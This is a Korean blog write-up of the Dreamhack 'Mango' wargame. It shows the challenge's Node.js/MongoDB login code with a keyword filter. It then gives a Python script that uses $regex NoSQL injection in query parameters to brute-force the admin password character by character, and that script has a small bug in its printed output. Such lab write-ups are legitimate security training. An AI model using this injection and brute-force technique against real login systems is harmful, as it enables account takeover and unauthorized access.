728x90
[Dreamhack] Wargame - Mango
index
로그인 정보를 url에 넣어 접속하니 guest가 출력됐다.
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
코드를 확인하니 admin,dh,admi가 필터링되어 있다는 것을 알 수 있었다.
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
/login 소스를 확인해보니 필터링을 거친 후 uid와 upw에 담아서 db를 통해 id와 pw가 일치하는 유저를 찾는다.
우리는 GET으로 받는 값을을 브루트포스공격으로 참일 시 uid값을 받는 방법으로 진행할 것이다. uid가 admin일 때 pw를 하나씩 요청하면서 참인지 아닌지 구별할 것이다.
아래는 파이썬 코드를 작성한 것이다.
import requests
import string
url="http://host3.dreamhack.games:13399/login?uid[$regex]=ad...&upw[$regex]=D.{"
alphanumeric = string.ascii_letters + string.digits
flag=""
for x in range(32):
for ch in alphanumeric:
res=requests.get(url+flag+ch+".*")
if(res.text=='admin'):
flag+=ch
print("DH{"+flag+ch+"}")
break
print("DH{"+flag+"}")
위와 같은 flag값을 얻을 수 있다.
728x90
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] image-storage (0) | 2023.01.09 |
---|---|
[Dreamhack] Command Injection-1 (0) | 2023.01.09 |
[Dreamhack] simple_sqli (0) | 2023.01.09 |
[Dreamhack] csrf-1 (0) | 2023.01.09 |
[Dreamhack] XSS-2 (0) | 2023.01.09 |